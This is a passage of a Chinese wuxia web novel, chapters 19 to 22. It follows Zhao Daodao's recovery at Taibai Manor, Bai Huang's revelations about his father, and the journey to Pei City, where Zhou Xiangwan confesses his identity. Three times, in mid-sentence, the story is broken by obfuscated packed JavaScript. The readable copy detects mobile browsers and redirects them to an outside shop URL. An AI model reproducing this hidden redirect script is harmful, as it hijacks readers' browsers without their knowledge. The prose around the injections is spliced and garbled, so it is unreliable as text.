幸好刀别再腰间,不然人倒了还把武器摔在地上,拿不住刀,可真够丢人的。 19. 庄主 赵刀刀醒来已是第三天。 幸亏她受的都是皮肉伤,最深的伤口被唐雪发现后及时包扎处理,用的药也是上好,才没在在爬山时开裂加深,后面只需按时换药休养就能恢复。 比起受伤,更严重的是她在阵中劳累过度,耗空自己,连医生都惊讶于她怎么还能坚持到太白山庄才倒下,按理来说,她早就该倒了,只能将其归之于她体质过人。 也亏得她体质好,才醒的这样快。 赵刀刀醒来的时候唐雪正趴在她的床边。 她怔愣地盯着唐雪看了一会儿,一时不知身在何处。 左右看看,发现架在桌上的黑刀,才想起这是太白山庄她住过的那间屋子。 伤口被包扎好了,衣服也换了新的,赵刀刀能感受到自己的伤恢复的不错,但不知为何,她的心又酸又软,十分古怪,就像是唐雪触到伤口那时的感觉……她按住胸口,明明应该开心的,怎么会这样? 这感觉太陌生,不过身上也有些虚弱疲软,或许是睡太久的缘故。 总之她已经离开阵中,不用再一遍遍出门面对那个打不倒的怪人,赵刀刀松了口气,只觉得到这里之后还真是见到了到很多原来想都没想过的景色。 她没有叫醒唐雪,从床尾轻轻下去,穿好外衣,打算出门练刀。 连睡几天,手脚有些僵硬,她慢慢活动着,逐渐找回原来的感觉。 这会儿应当过了饭点,其实是适合休息的时候,不过她休息够了,倒是唐雪该好好休息一下。 轻轻按了下背后有些痒的伤口,估计不久前才换过药,味道很重,手只了碰一下就沾上了那股药味。 和怪人在阵中对战的场面还历历在目,赵刀刀忍不住猜测那人究竟是死是活,不过他本来也不算活着了吧……总之已经不碍事。 她拿起刀,恍惚又觉得自己回到了原来在山上整日练刀的时候。 只是那个时候她的屋中不会有人,也没有这样宽敞舒适。 她勾起嘴角,往日里如果下午才出门练功,可是会被罚打扫场地数日,这样就赶不上吃饭了,没人给她留饭,也不会有人帮她带饭,有时候会饿上一整天。 来到这里之后她好像天天都能吃饱,真是不错。 她走到门边时,唐雪抬起头揉了揉眼睛,看到床上空着一愣,迅速转身望去,“恩人!” 赵刀刀转身对她笑笑,将拿刀的手背在身后。 “你要去哪?”唐雪语气阴沉。 “……不去哪儿。” 唐雪站起身,想数落她不顾自己的身体,刚举起手,又恨恨地放下,冷哼道,“既然你醒了,还有工夫偷偷出门,看来是恢复的不错。” 赵刀刀想说“确实不错”,话到口边,却转了个弯儿,弱弱道,“没,我还得养伤,我会好好养伤的。” 唐雪叹了口气,“算了,你不想休息的话,等会儿我们一起去找周向晚吧,周向晚还没告诉白凰我们已经拿到东西了。” 原来他们一直在等她醒来,赵刀刀这下倒真有些不好意思了,“好。”她轻声道,“我下次一定会注意身体的,你不用太担心了。” 唐雪这才抹去冷脸,露出一个浅笑。 唐雪押着赵刀刀吃了点东西,又检查她的伤口确认没有问题,才允许她出门。 她们去寻周向晚。 周向晚此时正与姜容一处,在梧桐苑湖上的亭子里下棋。 这亭子与岸边靠一道长廊相连,远处望去仿佛浮在碧水中的一颗珍珠,被一根细线牵连着。 亭子中间的桌凳皆由白玉石制成,是太白山庄一贯的规格,唯一的深色是围栏的朱红,与湖中鲤鱼的颜色很像。 见她们过来,姜容挥退旁人,起身一躬道,“赵姑娘醒了,在下替白凰给各位赔不是了。” 赵刀刀任由他致歉,不接茬儿,直接问,“姜管家终于肯对我们说实话了?” 她和唐雪落座,姜容也坐回原位,棋盘上的棋局正停在厮杀最激烈处。 “知无不言。” 亭中仅有四人。 赵刀刀开门见山,“白凰到底是谁?” 姜容苦涩道,“想必你们已有猜测了吧。” 赵刀刀看着他的双眼,“嗯。你身为太白山庄大管家,对他的态度可比对那个假庄主恭敬多了。” 姜容为他们斟茶,叹气道,“白凰正是现任太白山庄庄主,也是牡丹城的城主……但不是各位要找的那位。” 即使太白山庄的人为了给赵刀刀治伤出了不少力,唐雪还是有些讨厌这里,语气不善道,“换城主这样的大事太白山庄竟也秘而不宣,将世人瞒得严严实实?” 姜容将茶水一一递去,回忆起当年又愁上眉头,一字一句说的缓慢,“太白山庄当年突生变故,可城主病危,少主当时年幼,若是被世人知道,牡丹城安稳不保,不得已只好封锁消息。等风头过去,却又不知从何说起了,只好继续保守着这个秘密。” 唐雪听他说完,冷声嘲讽道,“城主病危?太白山庄的规矩竟然如此森严,连这种消息都能不露一丝?这就是姜管家的知无不言?” 赵刀刀第一次见唐雪这样的神情,流露出的威严和唐堡主有些相像。 “你不想说实话可以不说,不要再说假话骗我们。”她也有些不喜欢这里了,小蛇说错了,牡丹城不是一座虚假的城,但太白山庄是。 真够直接的。姜容有些头疼,确认他们脸上认真的神色,用右手拇指和食指揉了揉太阳穴,闭了闭眼,个个都是不找到真相不罢休的主儿,他叹了口气,换上他最常用平静语气,低声感慨道,“赵姑娘竟真从那边走出来了。” 唐雪道,“你这话什么意思?!” 周向晚用扇子将棋盘上的残局扫到旁边。 姜容道,“那想必赵姑娘已经见到白梦江的尸骨了。” 这话如同一声惊雷,唐雪和周向晚一齐看向赵刀刀。 唐雪惊道,“白梦江?他的墓不是空的……”她不可置信道,“他的尸骨在恩人那一边?” 赵刀刀皱眉看向姜容,不确定这管家是在试探还是打算说实话,随之又看向唐雪,点了点头。 她想了想,醒来时她随身带的东西就放在里侧枕边,出来时正好拿上了。她取出一块白玉放在桌上。 周向晚看到白玉的第一眼就意识到这是傲雪剑上的白玉。 姜容看着白玉,那表情不知是高兴还难过,各种情绪混着梗在喉中,过了许久他才从嗓子里挤出五个字,“他真的死了。” 他像是想要笑,却只呼出了一口长长的浊气。 姜容平复心情,缓缓道,“白梦江是上一任庄主,但他对少主……并不是很好,少主与他离心已久,十年前的一日,他没有如往常一样出现,就这样凭空消失在太白山庄里,大家都惶惶不安,他却真的再也没出现过,就这么失踪了。后来少主接手了山庄,掘地三尺,只找到梧桐苑中的入口,请来的人有去无回,我们也不知道白梦江是否还活着。”他感慨道,“如果他当年没有失踪,少主或许也无法接手太白山庄,世间万事,倒真是福祸相依了。” “这毕竟是白家的家事,我一个外人不便多说,还是让庄主亲自来吧。” 姜容起身道,“诸位,茶已经凉了,天色渐晚,晚膳已备好了,去城主府一叙吧。我为诸位引路。” 三人相视一眼,赵刀刀拿起白玉跟在后头。 主厅中酒香四溢,白凰正在饮酒。 姜容快步上前与他耳语了两句,他抬头看向赵刀刀。 他的眼尾泛红,那普通的样貌竟在酒气熏陶下生动起来,那双眼睛半分醉意半分清醒,带着钩子,叫人觉得危险,又想去看。 纵使周围美酒的香气摄人心魂,周向晚此时却完全没有酒兴。 白凰笑了,他跟他们说话时,一贯是面无表情,而此刻那张脸却舒展着充满畅快的神情,他勾手,嘴角还没落下去,“听说白梦江死了?” 姜容似乎在帮她邀功,赵刀刀有些不舒服,明明是太白山庄的家事,她莫名其妙掺了一脚,却不能知晓自己到底造成了什么影响,这种被蒙在鼓里的感觉并不美妙。“嗯。” 姜容安排他们坐下后退居一旁。 白凰问,“他的剑毁了?” 赵刀刀刚将白玉拿出来,白凰便道,“扔过来。” 赵刀刀没有动。 “你们既然出来了,便是太白山庄的贵客,从现在起,你们想走便走,想留便留,这点我说话算话。”白凰认真道,说完又撑着头,“扔过来。” 还真是随性,也不怕摔坏了,赵刀刀终于听到一句想听的,抬手将白玉向白凰位置掷去。 她扔的很准,白凰一张手就能接到。 白凰好像开始醉了,他看着手里的白玉,仔细端详片刻,玩味道,“傲雪剑?傲雪?他也配?!” 下一刻竟是将白玉直接向地上摔去! 那剑玉被赵刀刀敲下,本来十分完整,现在却碎成几块,散在地上。 白凰的声音因酒气而沙哑,他自嘲道,“让各位见笑,如果不是太白山庄没有各位所寻的高手,我也不愿让各位空手而归,只是实在可惜……” 他的声音徒然变冷,“只是实在可惜,有我这样的废物庄主在,太白山庄又怎能招揽到什么天下第九的侠士?!” 姜容上前劝道,“庄主,你醉了。” 白凰冷笑道,“我是醉了,这么多年了,他终于死了,我终于可以醉了!他以为挑了我的手筋脚筋就万事大吉?只可惜他最后没有死在我的手中!最后倒是与他的心心念念的宝物死在了一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白凰与他们说了白梦江还是庄主的一些事,那时候天下第九还不是白梦江,后来白梦江接下这名号之后太白山庄蒸蒸日上,只是他心思深沉,练功走火入魔,连亲子都不曾善待,山庄中人人自危。 白梦江指点过白凰,很快发现他一点就通,进步奇快,儿子天赋过人,自己却只能停滞不前,他的心已经扭曲,不在意太白山庄未来如何,只怕儿子胜过老子,废白凰武功还不够,索性挑断了他的手筋脚筋。 “我不知道他到底有没有走火入魔,他的疯可能是真的,也可能只是装出来的,反正太白山庄里,从来没人是他的对手,好在有一天他忽然自己不见了,他消失了,山庄里再没人见过他,一直到我们找到梧桐苑那个入口,才猜测他可能还在山庄中。” 大概这就是大户人家。 赵刀刀觉得这复杂程度与她的门派也相差不多了。 事已了,赵刀刀不太在意外物,但好处还是要拿的,毕竟他们在这吃了太多亏,太多苦头。 因为他们接下来还要去其他地方,行踪不定,赵刀刀便让白凰把该给的东西都送到唐家堡去,白凰应了。 月高挂。 夜里清凉,无云。 赵刀刀消食后在院中练刀。 或许是在阵中和怪人对着砍了上万次,她觉得原先使得不太顺的招式更自如了,挥刀更快,刀落之处随心所欲,假如眼前站着个人,她闭着眼都能精准击中要害。 白凰不知道什么时候站在门口的,他没有武功,赵刀刀也没有感到恶意,就随他去。 待练完最后一遍,她想了想,还是说,“白庄主也早些休息吧。” 又补充道,“下次别再偷看了,刀剑无眼。” 白凰这会儿已经酒醒,笑道,“原来在阵中赵姑娘就想戳瞎我的眼了?” 赵刀刀看着他没有回答。 如果不是藏宝室中的那道目光很快移开,没有恶意,这笔账还得多算些。 也正因为那目光没有恶意,好像只是单纯打量着里头的人,她才确认,所谓安全的地方,是她所在之处。 他没有说谎,阵中的确有能救人的地方,他们无法闯过便可原地等候。 看赵刀刀转身准备进屋,他提声问道,“传闻……赵姑娘是个被传成少侠的女子,而我是个唱旦角的男人,这不正配?” 赵刀刀停下来看着他,“我们不一样。” 白凰来了兴致,好奇道,“哦?哪里不同?” 赵刀刀一字一句道,“你是小白脸,我可不是。” 将小白脸的笑声抛之脑后。 赵刀刀一进屋便听到赵小刀的冷哼,“配?” 赵小刀咬牙切齿,“真不要脸,他也配?” 赵刀刀笑了笑。 “我没你大方。”他在别人的地盘上无所忌惮说着坏话,“你没宰了他,已经仁至义尽。” “你说的对。”赵刀刀顺着他。 “小刀,别生气啦,我这不是好好的出来了吗?” 20. 愿你 刀子精和小蛇都不喜欢太白山庄,青蛇难得醒来,一开口就是,“你怎么还在这里?”撑不住要睡过去也不能阻止它的抱怨。 赵小刀已经念过她一轮,可惜一把刀不能驮着她离开,只能充满怨念的陪着她留下。 赵刀刀本不打算多留,不过唐雪押着她,说必须在太白山庄待到身上的伤完全养好了才能考虑启程的事,周向晚也帮着她劝,他们说的苦口婆心,理由一天一个,全是为了她好,赵刀刀应接不暇,被劝住了。 这一留,就又留了半月还多。 这期间他们搬到了梧桐苑中。 事实上不全是为了她好,也有假公济私者。 唐雪在太白山庄待得十分自在,心安理得地白吃白住。她几乎每天都要找姜容一次,对姜容夸赞太白山庄的厨子实在是好,让厨房每天不重样地做饭,像是要吃个尽兴,几天下去,脸上似乎都多了点肉。 周向晚点评她在此处颇有在唐家堡时的威风样子,被她当作称赞接下了。 赵刀刀甚至觉得她在这里比唐家堡还要放肆。 三人住在一处,梧桐苑的亭子白天被他们霸占,旁人只能绕着道走。他们自上次之后再没见过白凰,但结合白凰的话慢慢将洞中之事串了起来,只觉得令人唏嘘。 高风亮节的白梦江白庄主原是个狠戾不仁的伪君子,这实在和唐雪过去对他的印象背道而驰,她传书与唐家堡,唐堡主也表达了自己的震惊,父亲尚且如此,更何况被表象欺瞒的世人,若是他们知道了,怎能容忍这样的背叛,太白山庄怕是安稳不保。 这秘密虽然被他们巧合知道,却远非他们所能承受,最多也只能在彼此之间讨论一二,若是有人问起,三人大概要默契地守口如瓶了。 白梦江最后也算是死在自己为自己准备的墓中,死得其所,只是错了点儿方位。 赵刀刀猜测他是死于怪人手下,只是在阵中走错路这样的错误,对外人来说尚且合理,自己的墓中……或许他真是疯了吧。 城中事务繁多,他们见不到白凰,后来连姜容也很少见到,哪怕有些好奇那本书到底为什么对白凰如此重要,也不得而知了,后来干脆就忘了这事。 姜容还没忙起来的时候,有次找过来,与他们说了在找到出口之前阵法的情况。原来藏宝室可以从外面进去,有几处地点是安全的,但是想从里面强行破出却不可行,会有机关将人锁住。据姜容说,有人试着从里面往外闯,等他们进去之时,见到的就是藏宝室中已经被晾成干尸的尸体。 看来还是有很多秘密。 索性赵刀刀并不是一个好奇心强烈的人,她明白,有时候知道的太多并不是一件好事。 那次之后,唐雪和周向晚也再没有说起过阵中太多细节。 赵刀刀与刀子精聊过阵中的事,她能在藏宝室等到外面来人,但唐雪那边的门或许得她用白玉开了铁栅门才能一同打开,她如果中途出来,另一边的人大概就被永远困在阵中了。 还好现在说起这些都只是没有危险的假设。 有时候她会想起阵中的那个怪人,山洞的倾塌是真,可怪人的死活却无从探究了。 不过在太白山庄待的越久,赵刀刀越是担心自己,刚离开唐家堡,又来个太白山庄,这还算游历吗? 由奢入简难啊,她的运气要是这样用下去,怕是不久就要耗光,到时候她可不一定能撑得住。 唐雪已经在这里待得如鱼得水,除去庄主和管家,她看太白山庄里别的人还算顺眼,太白山庄的人也都很喜欢她。 她手巧嘴甜,乖巧可爱,厨子乐得变着花样做点心给她,侍女也喜欢围着她同她讲故事,太白山庄有过的奇闻异事恨不得桩桩件件都讲给她听。 周向晚在这里却不如在唐家堡待得舒服,不过,他虽然不想待在这,却更不想离开这,准备离开的前几天,他罕见地有些焦虑。 赵刀刀看他愁的连门都不愿出,脸色憔悴,饭吃的少,觉也像是一直没睡好,问原因又不肯说,只能麻烦庄里的人多把饭给他热几次。 她的伤好得挺快,最深的伤也只留了一道浅浅的疤,可惜唐雪自己吃香喝辣却要求她吃的清淡,赵刀刀对此颇有微词。 更苦的是留下来的日子里,唐雪每日都会过来看着她,检查愈合情况,不但限制她的吃食,还要限制她练刀的时间。 赵刀刀真是恨不得回到之前,她宁可再谨慎些,多试探几次少受些伤,也不想碰到这样的情况。 伤好之后终于清净些。 姜容有时候路过梧桐苑,会看到赵刀刀坐在假山上,对着湖发呆。 梧桐苑里的鱼活得自在惬意,总是慢悠悠地游,就算有人洒饵也慢半拍地游过去。 岸边的水草垂下去,也在水里慢慢地漂荡。 风景不错,就是这种地方虫子太多,坐在高处还好些。 姜容走近问,“我看赵姑娘总是坐在这里,赵姑娘喜欢这里吗?” “这里很好。” “夏天快到了,池塘荷花盛开的时候更美,可惜赶不上在客人们走之前开放了。” “确实有些可惜。” “要是赵姑娘想看,不如明年夏天再来山庄作客吧。” “好啊。” “一言为定,太白山庄会候着的。那就不打扰赵姑娘了。” 赵刀刀听到姜容走远的脚步声,收回目光低头看向黑刀,还有腕间像个镯子一样的青蛇。 这条蛇太能睡了。 不过她近来也睡得很多,睡得很安稳,甚至有些想要赖床的念头。 这里没有逼她练功的师父,也没有窄小阴暗的房间,她真快要觉得过去只是一场梦,自己也是一开始就活在这里了。 只有黑刀的存在提醒着她,那些都是真的。 越是享受越觉得自己背叛了过去,这样的情况赵刀刀是没想到的。 但是要她怀念过去,还是免了吧。赵刀刀嗤之以鼻。 不过差点被困在山洞里出不来,她初来乍到的那股子傲气终于被削了一头,大侠的梦碎了,练功还是正事。 还是太菜了,她想。如果她再厉害一些,能靠自己打败那个怪人就好了。 借助于机关,赢倒是赢了,就是不够畅快。 临走的前一晚,许久没见过的白凰竟然过来找她,还带了一壶酒。 赵刀刀看了眼他,继续挥刀,“我没空喝酒,你应该去找周向晚。” 白凰斜瞥她一眼,那眼神风情万种,赵刀刀不敢分心,挪开视线不再多看。 白天陪着唐雪到处逛,晚上练刀,这几日一直如此。 晚风凉爽,夜色寂静,最适合练刀。 白凰就在一旁等她练完。 见她收了势,他语调婉转,道,“我可不找周向晚,赵姑娘好没有情趣,和男人喝酒有什么意思?” 赵刀刀擦着汗,重复道,“我不喝酒。” 白凰笑道,“那我敬你,你不用喝,承我的情就行了。” 赵刀刀曾以为在唐雪之后,她不会在遇上这么难以招架的人,原来她还是太年轻了。 她摸了摸鼻子,“你来找我做什么?” 白凰直勾勾地看着她,手里拿着酒杯对着她举起,笑道,“喝酒呀。” 赵刀刀将桌边凳子搬远了些坐下,“那你喝吧。” 白凰笑了,他的眼角被笑挤出几滴泪,竟更显风流无双。 他一杯一杯的饮酒,问,“你想知道那本书里写了什么吗?” 赵刀刀摇摇头,她已经知道大概了。 他笑得更愉快,有些恶劣道,“其实我也还没看。” “……哦。” 他问,“你每天都练这些,不觉得枯燥吗,这世间有这么多乐事,你就一点儿也……”他的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵刀刀心道,太白山庄并不普通,他怕是有什么误解。 白凰接着说,“自然,我知道你也不会留在这里。” 赵刀刀颔首,等他继续。 “可你要知道,哪怕是唐家堡的的千道机关,梧桐苑的百尺潭水,终不及人心险恶。” “嗯。” “有机会再来听我唱曲儿吧,给你留个位子。” “好。” “太白山庄永远在这里。” “嗯。” “愿你永远一往无前。” “哦。” “不要忘记我,好吗。” “……好。” 白凰又笑了,他有千百种不同的笑,笑起来却一样惹人眼直。 他拱手道,“我敬你。” 一口饮尽。 赵刀刀握了握刀柄,盛情难却,但今夜她已决定不饮酒,这一杯酒她似乎欠下了。 白凰看着她,“白某言尽于此,赵少侠,有缘再见。” 赵刀刀看着他,应道,“好,有缘再见。” 梧桐苑的风是山风,又寒又冷,刺入骨髓。 但屋内是暖的。 人心是暖的。 赵刀刀做了个梦。 一个她很久没再做的梦。 她梦到自己下山,快要看到路的时候,被一群老虎吃了个精光。 以前总是想问师父自己什么时候能下山,有次终于问出口,师父就说,看到山后的死人了吗,那都是老虎吃剩的血肉,你想下山,也会被老虎吃掉。 后来就不敢问了。 这次她也被老虎吃掉了,但吃掉之后,她还活着,就继续往下跑。 老虎在后面追不上她,她忽然发现,其实老虎有时候也……挺可爱的。 老虎也好,人心也罢,这世间万象,她终究要亲眼见一见才行。 21. 情怯 离开牡丹城,他们去的地方是佩城。 听说佩城是一座火热的城。 即使是冬雪,在这里还未落到地上就会在空中融化。 这里有世人能想象到的所有兵器和永不熄灭的炉火。 街道两旁敲打兵器碰撞出的乒乓声仿佛构成了某种永不断绝的乐章,以至于晚上的寂静冷清格外令人不适。 青蛇在路上醒来一次,它问赵刀刀,“要去佩城了?” 赵刀刀看着周围毫无反应的唐雪和周向晚,默默点了点头。 它还是一幅倦怠的样子,慢悠悠地吐着信子,“希望那里如你所愿。” 天热起来,青蛇的冰冷反而使人舒适,赵刀刀确定这个角度唐雪他们看不到自己在说什么,戳了戳青蛇,用口型道,“我对那里能有什么愿望。” 青蛇不肯再说,赵小刀冷哼道,“装神弄鬼。” 青蛇又睡过去了。 赵刀刀想起青蛇说过牡丹城是一座虚假的城,她隐约觉得,如果是在说白梦江,那某种意义上确实如此。 小蛇似乎对这些城都有些了解,它的语气笃定,不像是碰巧猜对的,可如她所愿? 她从没到过这里,自然也不会有任何期待。 不过……说起期待,赵刀刀暗想,非要说的话或许也是有的,只是无关佩城。 如果能好好打一架就好了。 在太白山庄练刀的时候她总想起那个怪人,想起他凌厉的拳风在耳边撕裂空气,那感觉惊险又刺激,她清楚自己不是怪人的对手,最后是靠运气才逃出来,但这段时间应该有所精进,至少能多接三招吧。 天下第一果然是很难当的,她还有很长的路要走。 赵刀刀轻叹。 到佩城那天是下午。 天是火红的,街道也是火红的。 事实证明,太过招摇的马车对三个少年来说并不是一件好事,尤其是行驶在城与城之间的无名道路上,舒适是要付出代价的。 拦路人一拨又一拨,马车不得不走走停停,速度慢了太多。 车夫也苦不堪言,他本以为自己接了好差事,这一路却比他之前的赶车生涯更跌宕起伏。 或许这就是唐家大小姐的排面。 唐家大小姐的命当真值钱,当然,这也是出门不带侍从的坏处之一——被人当成软柿子了。 但唐雪不以为意,甚至觉得有趣。 毕竟苦力还有赵刀刀和周向晚。 好在这些杀手都不是什么厉害角色,大多是听到消息过来碰碰运气,中途见势不妙就会四散而逃,没人受伤。 但是苍蝇一直在耳边飞来飞去,还是会让人感到厌烦。 赵刀刀眉宇间有些烦躁,这些杀手没有造成什么实际伤害,撩了就跑,但就是这种没事儿就过来招惹一下的举动,叫人憋了一肚子气没地方发。 即使她只是附带,那些人多是冲着唐雪来。 最后唐雪还是听从了意见,三人换上了普通马车,换完车后半段路终于安生了,到佩城时也没有引起太多注意。 周向晚从进入佩城开始就在躲着什么,他随身的扇子到了这里再没拿出来过。 甚至进出客栈都要鬼鬼祟祟地后门绕进去。 唐雪和赵刀刀出去吃饭他也没出来,即使那是佩城最好的酒楼。 这不是他的作风。 尤其是她们吃完饭那会儿。唐雪在回客栈的路上遇到了一队人,不是唐家的,他们借了僻静巷子说了几句,赵刀刀站在巷口,没有刻意去听,声音自己传过来,大概又是住宿环境又可以改善之类的话。 她百无聊赖地数着时间,看着街道的人来人往,忽然瞥到了周向晚的身影。 准确的说,是看到了他的衣角——他被挡在一棵树后。 他露头出来,一抬眼就看到赵刀刀直直盯着自己的方向,连忙摆手示意她别看这边,正好巷子里的人出来了,赵刀刀转身去找唐雪,再回头周向晚就不在那里了。 果然跑了。 唐雪说,佩城以铸剑闻名,但什么兵器都能做,之所以能将兵器生意做的这么大,是因为佩城的郊外有一大片矿脉。唐家除了自己的铁矿,每年也会从佩城买不少。 矿脉在佩城陆家手中,佩城最大的剑炉也在陆家,唐雪有些高兴,她从很小的时候开始就想见见这里的剑炉了。 唐家善暗器,可天下武器本就有相通之处,有很多单子也会交给陆家做,两家见面的次数不多,但合作的年头已经过十,作为武洲最大的武器商,陆家有佩城最好的铸剑师,最大的剑炉,也有佩城传承最久的铸剑术。 刚才她碰到的人就是陆家的,等她和这里的唐家弟子打过招呼,说明情况,他们就能过去看看。 头一回见唐雪这样激动,赵刀刀也为她感到开心。 所以回去就找了周向晚。 她敲了门。 周向晚的声音像是从被子里传出来一样,闷闷的。 她推门进去。 饭菜吃了一些,已经凉了,还没来得及撤下。 周向晚站在窗边,窗户开了道缝,他透过缝往外看着什么。 赵刀刀的屋子与他在同一排,她忽然意识到,从这里往外看,可以看到那个小巷。 她把刀放在自己房间才过来的,此刻忽然觉得手有些空。 她双手在胸前交叉抱臂,斜靠着桌边,问,“你认识他们?” 周向晚关上了窗,屋子里暗下来,只有一盏烛台静静燃烧。 “嗯。” “仇家?” 周向晚抬头看了她一眼,“不是。” “那你为什么要逃?” 周向晚转身走道桌边坐下,他拿出自己的扇子,仔细地展开,长长叹息一声。“这个说来话长……” 赵刀刀问,“你要躲起来吗?” 周向晚茫然道,“为什么?”他有些跟不上赵刀刀的节奏。 赵刀刀道,“如果你不想躲,那这些都没有意义,只要你在这里,总会被他们找到。” 周向晚轻叹一口气,沉默半晌,他的手轻轻抚过一节一节的扇骨,目光专注而温柔,像在看自己的爱人,“我知道,我只是还不想面对他们。” 赵刀刀看到烛火的影子在他眼中跳跃,天越是暗,那孤零零的烛台越是明亮。 按之前的习惯,她根本不会在意周围人的想法,可此刻,她也放轻了声音问,“为什么?” “我走的时候,我说我出去找一个人。” 赵刀刀道,“你没有找到?” 周向晚又将扇子一叠一叠地折好,他看向赵刀刀,眼中有些奇异的光彩,“或许也不是没有找到。” 赵刀刀道,“那为什么?” 周向晚道,“和我想象中有些不同。”他说,“我离开武洲两年,一开始,我以为只要找到那个人我就能找到答案。” “所以你没有找到答案。” 周向晚没有否认。 赵刀刀也沉默地看着他,她眨了眨眼,不打算深究,问,“那你什么时候才会想面对他们?” “或许明天,或许后天。” 赵刀刀轻笑一声,道,“或许他们明天就会找到你,因为你和唐雪在一起。” 周向晚握着自己的扇子,淡淡的笑了,“你说的对。” 赵刀刀看着他的眼睛,“那你呢?” “什么?” “你躲着是怕陆家的人会认出你,你是谁?” 周向晚哑然,他轻轻呼出一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063186|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早料到会有这一刻,但这时候来的比他以为的慢了很久,他都快忘了这回事,他说,“我母亲姓周。” 赵刀刀反应了一下,“所以你在外随母姓……你其实是陆少爷?” 周向晚半敛着眉目,“你这么说也没错……”他不敢直视赵刀刀,避开视线,“我不是有意要骗你。” 他的一双眼睛依旧清澈,赵刀刀却没想到他跟了一路,这会儿居然还会为这种事紧张,她笑了笑,“没事。” 周向晚道,“你不怪我吗?” 赵刀刀道,“没什么好怪,你也没骗什么,你只是不肯多说。每个人都不会多说,每个人都有秘密,这不怪你。” 周向晚笑了声,道,“谢谢。其实……我虽然还没有找到一开始想找的答案,但是却找到了另一个问题的答案。” “什么?” “遇到你之后我才知道这世间原来还有这样的活法儿,而且也可以活得很好。” 赵刀刀摸了摸鼻子,道,“你也不错,你的扇子很好看。” 周向晚低笑两声,看向手里的扇子,“我也很喜欢这把扇子。”灯下看美人,美人更美,周向晚却觉得他的扇子也是如此,他说,“其实这是我做的。” 赵刀刀有些惊讶,“很厉害。” 周向晚颇有些与有荣焉,他慢慢道,“扇面轻薄如纸,扇边锋利如刀,扇骨轻如鸿毛。” 赵刀刀再次感慨,“很厉害。” 周向晚的神色却瞬间落寞了些,道,“但是刀剑不该如此,我父亲说,刀剑要厚重,要坚硬。” 赵刀刀道,“他说的也没错。” 周向晚道,“武洲曾出过一位惊才绝艳的铸剑师,他不是铸剑世家,但却能造出绝世好剑。只是后来他没了消息。” 赵刀刀思索片刻,“所以你出去找的人是他?” “嗯。” “为了拜师?” 周向晚苦笑道,“我也想,不过他只为一个人铸剑,连残品都要花废很大功夫才能找到,我就是想看看他。” “为什么?” “因为他不喜欢铸剑,嗯……应该说不那么喜欢。” 连不喜欢的事都能做到极致,赵刀刀自问,自己是做不到的,她称赞道,“他很厉害。” “对。” 她问,“所以你很想见他?” “嗯。” 赵刀刀有些好奇这个故事的结局了,她问,“后来呢?你为什么不找了,又回到武洲?” 周向晚又用有些奇怪的目光看着她,他问道,“你知道你身上的剑缰吗?” 赵刀刀看向腰间,“这是……”晚镇老板娘给她的。 周向晚道,“那是他的,他妻子用过的,这剑缰是他们之间的信物,只有一种情况会出现在别人身上。” 赵刀刀想起老板娘将信交给她的样子,“……他死了。” “是。” “所以你在水城是看到这个才决定跟着我?” “嗯,我看到你身上的剑疆就知道自己不必再找了,不过跟着你或许还能见到他的剑,我想要见见他真正的作品,我想看看那是怎么样的一把剑。” 赵刀刀想起了太白山庄断在阵中的傲雪剑,“那把剑很特别?” 周向晚摇摇头,“我不知道,或许并不特别,所以他的剑才能消失在世间无法追寻。” 赵刀刀无奈道,“好吧。” 她也有几分好奇了。 不过总算知道了周向晚跟着她的原因和他躲起来的原因,这趟有些收获。 离开前她不忘来意,叮嘱道,“明天下来一起吃饭吧。” 周向晚拿着扇子站在烛火边,“好。” 佩城的夜晚这样安静,却令人迷茫不知方向。 22. 陆家 唐雪的本意是想去陆家铸剑的地方观摩一番,只需要陆家派个领路人就行,无意过多打扰。 赵刀刀亦是。 但是周向晚双手紧紧扒着门框,“如果你们不跟我一起去,我就不出去了。” 唐雪好奇,“有这么可怕吗?” 周向晚连连点头,求助的目光如同被抛弃的小狗,楚楚可怜令人不忍,仿佛她们不跟着他一起去陆家就犯了罪大恶极的过错。 赵刀刀问,“如果他们不要求你回去呢?” 周向晚担忧过度,“反正他们来找我的话你们得陪我进去。” 她们只好先答应他。 早上赵刀刀跟着唐雪下来的时候,陆家已经派了人过来,那人似乎来头不小,客栈的管事对他点头哈腰,直道“不知贵客大驾光临,真令寒舍蓬荜生辉”。 赵刀刀心道,他们进来的时候他可不是这样,这人当时拍胸脯说这儿可是佩城最好的客栈,得意的劲儿快要溢出来,现在怎么这么谦虚,没骗人吧。 然后陆家那人一挥手,管事就麻溜儿地给他们清理出了一片地方,做完事还要依依不舍地望着贵客,见实在没有需要自己的地方了,只得含泪离开,一边收拾着台面,一边装作不动声色地往这边望两眼。 赵刀刀心说,倒也不必,她也是见过大世面的人,别的地方就是城主都没被这么崇拜过。 要说陆家来的这位有什么特别的,高大英俊不论,大概就是他的手上戴着一副黑色的手套。 那双手套将他的手从指尖包裹到手腕,剩下的地方藏在袖口内,看不分明。 赵刀刀仔细品过,发现这手套看着其貌不扬,实则柔软贴合,与这人的手指间没有一丝缝隙,动起来哪怕再细微的动作也没有一点褶皱,仿佛那是他真正的皮肤。 从没见过这样合适的手套。 以她的眼光,这东西看起来很贵。 赵刀刀买过最贵的东西是刚来时候穿的那一身衣裳,贵在金线的织花和布料的舒适,这双手套却好像比十件衣服加起来都更有价值。 那人好像注意到她打量的目光,转头过来看了她一眼,她讪讪一笑,他又转回去和唐雪说话。 周向晚就是那时候下来的。 